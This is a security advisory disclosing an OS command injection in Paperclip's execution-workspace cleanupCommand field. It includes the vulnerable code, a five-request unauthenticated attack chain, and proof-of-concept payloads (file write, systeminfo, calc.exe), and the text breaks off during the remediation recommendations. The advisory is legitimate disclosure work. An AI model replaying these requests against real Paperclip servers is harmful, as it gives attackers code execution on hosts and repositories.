GHSA-vr7g-88fq-vhq3 Paperclip: OS Command Injection via Execution Workspace cleanupCommand

• npm @paperclipai/server: < 2026.416.0 → fixed in 2026.416.0

| Field | Value | |-------|-------| | Affected Software | Paperclip AI v2026.403.0 | | Affected Component | Execution Workspace lifecycle (`workspace-runtime.ts`) | | Affected Endpoint | `PATCH /api/execution-workspaces/:id` | | Deployment Modes | All — `local_trusted` (zero auth), `authenticated` (any company user) | | Platforms | Linux, macOS, Windows (with Git installed) | | Date | 2026-04-13 | --- Executive Summary A critical OS command injection vulnerability exists in Paperclip's execution workspace lifecycle. An attacker can inject arbitrary shell commands into the `cleanupCommand` field via the `PATCH /api/execution-workspaces/:id` endpoint. When the workspace is archived, the server executes this command verbatim via `child_process.spawn(shell, ["-c", cleanupCommand])` with no input validation or sanitization. In `local_trusted` mode (the default for desktop installations), this requires zero authentication. Three independent proofs of exploitation were demonstrated on Windows 11: arbitrary file write, full system information exfiltration (`systeminfo`), and GUI application launch (`calc.exe`). --- Root Cause Analysis Vulnerable Code Path `server/src/services/workspace-runtime.ts` (line ~738) The `cleanupExecutionWorkspaceArtifacts()` function iterates over cleanup commands from workspace config and executes each via shell: ```typescript // workspace-runtime.ts — cleanupExecutionWorkspaceArtifacts() for (const command of cleanupCommands) { await recordWorkspaceCommandOperation(ws, command, ...); } // recordWorkspaceCommandOperation() → const shell = resolveShell(); // process.env.SHELL || "sh" spawn(shell, ["-c", command]); ``` Missing Input Validation `server/src/routes/execution-workspaces.ts` — PATCH handler The PATCH endpoint accepts a `config` object containing `cleanupCommand` with no validation: ``` PATCH /api/execution-workspaces/:id Body: { "config": { "cleanupCommand": "" } } ``` The `cleanupCommand` value is stored directly in workspace metadata and later passed to `spawn()` without sanitization, allowlisting, or escaping. Shell Resolution `resolveShell()` returns `process.env.SHELL` or falls back to `"sh"`: • Linux/macOS: `/bin/sh` exists natively — commands execute immediately • Windows: `sh.exe` is available via Git for Windows (`C:\Program Files\Git\bin\sh.exe`) — Paperclip requires Git, so `sh` is present on most installations --- Attack Chain The exploit requires 5 HTTP requests with zero authentication in `local_trusted` mode: Step 1 — Find a Company ```http GET /api/companies HTTP/1.1 Host: 127.0.0.1:3100 ``` ```json [{"id": "59e9248b-...", "name": "Hello", ...}] ``` Step 2 — Find an Execution Workspace ```http GET /api/companies/59e9248b-.../execution-workspaces HTTP/1.1 Host: 127.0.0.1:3100 ``` ```json [{"id": "da078b2d-...", "name": "HEL-1", "status": "active", ...}] ``` Step 3 — Reactivate Workspace (if archived/failed) ```http PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1 Host: 127.0.0.1:3100 Content-Type: application/json {"status": "active"} ``` Step 4 — Inject cleanupCommand (Command Injection) ```http PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1 Host: 127.0.0.1:3100 Content-Type: application/json {"config": {"cleanupCommand": "echo RCE_PROOF > \"/tmp/rce-proof.txt\""}} ``` Response confirms storage: ```json {"id": "da078b2d-...", "config": {"cleanupCommand": "echo RCE_PROOF > \"/tmp/rce-proof.txt\""}, ...} ``` Step 5 — Trigger RCE (Archive Workspace) ```http PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1 Host: 127.0.0.1:3100 Content-Type: application/json {"status": "archived"} ``` This triggers `cleanupExecutionWorkspaceArtifacts()` which calls: ``` spawn(shell, ["-c", "echo RCE_PROOF > \"/tmp/rce-proof.txt\""]) ``` The injected command is executed with the privileges of the Paperclip server process. --- Authentication Bypass by Deployment Mode `local_trusted` Mode (Default Desktop Install) Every HTTP request is auto-granted full admin privileges with zero authentication: ```typescript // middleware/auth.ts req.actor = { type: "board", userId: "local-board", isInstanceAdmin: true, source: "local_implicit" }; ``` The `boardMutationGuard` middleware is also bypassed: ```typescript // middleware/board-mutation-guard.ts (line 55) if (req.actor.source === "local_implicit" || req.actor.source === "board_key") { next(); return; } ``` `authenticated` Mode Any user with company access can exploit this vulnerability. The `assertCompanyAccess` check occurs AFTER the database query (BOLA/IDOR pattern), and no additional authorization is required to modify workspace config fields. --- Proof of Concept — 3 Independent RCE Proofs (Windows 11) All proofs executed via the automated PoC script `poc_paperclip_rce.py`. Proof 1: Arbitrary File Write Payload: `echo RCE_PROOF_595c04f7 > "%TEMP%\rce-proof-595c04f7.txt"` Result: ``` +================================================+ | VULNERABLE - Arbitrary Code Execution! | | cleanupCommand was executed on the server | +================================================+ Proof file: %TEMP%\rce-proof-595c04f7.txt Content: RCE_PROOF_595c04f7 Platform: Windows 11 ``` Proof 2: System Command Execution (Data Exfiltration) Payload: `systeminfo > "%TEMP%\rce-sysinfo-595c04f7.txt"` Result: ``` +================================================+ | System command output captured! | +================================================+ Host Name: [REDACTED] OS Name: Microsoft Windows 11 Home OS Version: 10.0.26200 N/A Build 26200 OS Manufacturer: Microsoft Corporation Registered Owner: [REDACTED] Product ID: [REDACTED] System Manufacturer: [REDACTED] System Model: [REDACTED] System Type: x64-based PC ... (72 total lines of system information) ``` Proof 3: GUI Application Launch (calc.exe) Payload: `calc.exe` Result: ``` +================================================+ | calc.exe launched! Check your taskbar. | | This is server-side code execution. | +================================================+ ``` Windows Calculator was launched on the host system by the Paperclip server process. --- Impact Assessment | Impact | Description | |--------|-------------| | Remote Code Execution | Arbitrary commands execute as the Paperclip server process | | Data Exfiltration | Full system info, environment variables, files readable by server process | | Lateral Movement | Attacker can install tools, pivot to internal network | | Supply Chain | Workspaces contain source code — attacker can inject backdoors into repositories | | Persistence | Attacker can create scheduled tasks, install reverse shells | | Privilege Escalation | Server may run with elevated privileges; attacker inherits them | Attack Scenarios 1. Desktop user (local_trusted): Any process or malicious web page making local HTTP requests to `127.0.0.1:3100` can achieve RCE with zero authentication 2. Team deployment (authenticated): Any employee with Paperclip access can compromise the server and all repositories managed by it 3. Chained attack: Combine with SSRF or DNS rebinding to attack Paperclip instances from the network --- Remediation Recommendations Immediate (Critical) 1. Input validation: Reject or sanitize `cleanupCommand` and `teardownCommand` fields in the PATCH handler. Do not allow user-supplied values to be passed to shell execution. 2. Command allowlisting: If custom cleanup commands are needed, implement a strict allowlist of permitted commands (e.g., `git clean`, `rm -rf `). 3. **Use `execFile` instead of `spawn` with shell*…